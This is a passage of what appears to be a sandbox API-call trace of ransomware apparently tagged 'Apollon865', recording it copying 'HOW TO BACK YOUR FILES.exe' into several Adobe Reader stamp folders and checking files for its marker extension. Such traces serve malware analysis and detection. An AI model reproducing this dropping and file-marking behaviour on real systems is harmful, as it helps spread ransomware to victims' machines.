	[0057.993] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL"
	[0057.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb120 | out: hHeap=0x580000) returned 1
	[0057.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0057.994] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL") returned 79
	[0057.994] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL"
	[0057.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.994] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.001] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.001] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aa3cad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aa3cad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.001] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.001] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.001] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.001] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.001] lstrlenW (lpString="Apollon865") returned 10
	[0058.001] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.002] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0058.002] lstrlenW (lpString="Faces.pdf") returned 9
	[0058.002] lstrlenW (lpString="Apollon865") returned 10
	[0058.002] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0058.002] lstrlenW (lpString="Pointers.pdf") returned 12
	[0058.002] lstrlenW (lpString="Apollon865") returned 10
	[0058.002] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0058.002] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.002] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.002] lstrlenW (lpString="Apollon865") returned 10
	[0058.002] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.002] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0058.002] lstrlenW (lpString="Standard.pdf") returned 12
	[0058.002] lstrlenW (lpString="Apollon865") returned 10
	[0058.002] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0058.002] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.002] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.002] lstrlenW (lpString="Apollon865") returned 10
	[0058.002] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.002] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR"
	[0058.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb078 | out: hHeap=0x580000) returned 1
	[0058.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0058.003] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR") returned 79
	[0058.003] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR"
	[0058.003] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.003] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.010] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.010] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aa62c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aa62c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.010] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.010] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.010] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.010] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.010] lstrlenW (lpString="Apollon865") returned 10
	[0058.011] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.011] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.011] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.011] lstrlenW (lpString="Apollon865") returned 10
	[0058.011] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.011] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.011] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.011] lstrlenW (lpString="Apollon865") returned 10
	[0058.011] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.011] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD"
	[0058.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0058.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0058.011] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD") returned 79
	[0058.011] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD"
	[0058.011] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.011] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.019] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.019] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aa62c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aa62c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.020] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.020] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.020] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.020] lstrlenW (lpString="Apollon865") returned 10
	[0058.020] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.020] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.020] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.020] lstrlenW (lpString="Apollon865") returned 10
	[0058.020] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.020] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.020] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.020] lstrlenW (lpString="Apollon865") returned 10
	[0058.020] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.020] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR"
	[0058.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c70 | out: hHeap=0x580000) returned 1
	[0058.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0058.020] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR") returned 79
	[0058.020] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR"
	[0058.020] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.020] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.028] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.028] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aa88d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aa88d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.028] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.028] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.028] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.028] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.028] lstrlenW (lpString="Apollon865") returned 10
	[0058.028] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.028] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Hanko.pdf" | out: lpString1="Hanko.pdf") returned="Hanko.pdf"
	[0058.028] lstrlenW (lpString="Hanko.pdf") returned 9
	[0058.028] lstrlenW (lpString="Apollon865") returned 10
	[0058.028] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.028] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.029] lstrlenW (lpString="Apollon865") returned 10
	[0058.029] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.029] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.029] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.029] lstrlenW (lpString="Apollon865") returned 10
	[0058.029] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.029] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN"
	[0058.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bc8 | out: hHeap=0x580000) returned 1
	[0058.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0058.029] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN") returned 79
	[0058.029] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN"
	[0058.029] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.037] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aaaeef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aaaeef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.037] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.037] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.037] lstrlenW (lpString="Apollon865") returned 10
	[0058.037] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.037] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Hanko.pdf" | out: lpString1="Hanko.pdf") returned="Hanko.pdf"
	[0058.037] lstrlenW (lpString="Hanko.pdf") returned 9
	[0058.037] lstrlenW (lpString="Apollon865") returned 10
	[0058.037] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.037] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.037] lstrlenW (lpString="Apollon865") returned 10
	[0058.037] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.037] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.038] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.038] lstrlenW (lpString="Apollon865") returned 10
	[0058.038] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.038] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA"
	[0058.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599b20 | out: hHeap=0x580000) returned 1
	[0058.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0058.038] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA") returned 79
	[0058.038] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA"
	[0058.038] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.046] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aaaeef0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aaaeef0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.046] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.046] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.046] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.046] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.046] lstrlenW (lpString="Apollon865") returned 10
	[0058.046] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.046] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0058.046] lstrlenW (lpString="SignHere.pdf") returned 12
	[0058.046] lstrlenW (lpString="Apollon865") returned 10
	[0058.046] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0058.046] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0058.046] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0058.046] lstrlenW (lpString="Apollon865") returned 10
	[0058.046] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0058.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN"
	[0058.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0058.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0058.047] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN") returned 79
	[0058.047] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN"
	[0058.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.055] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.055] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aad5050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aad5050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.055] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.055] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.055] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0058.055] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0058.055] lstrlenW (lpString="Apollon865") returned 10
	[0058.055] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0058.055] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
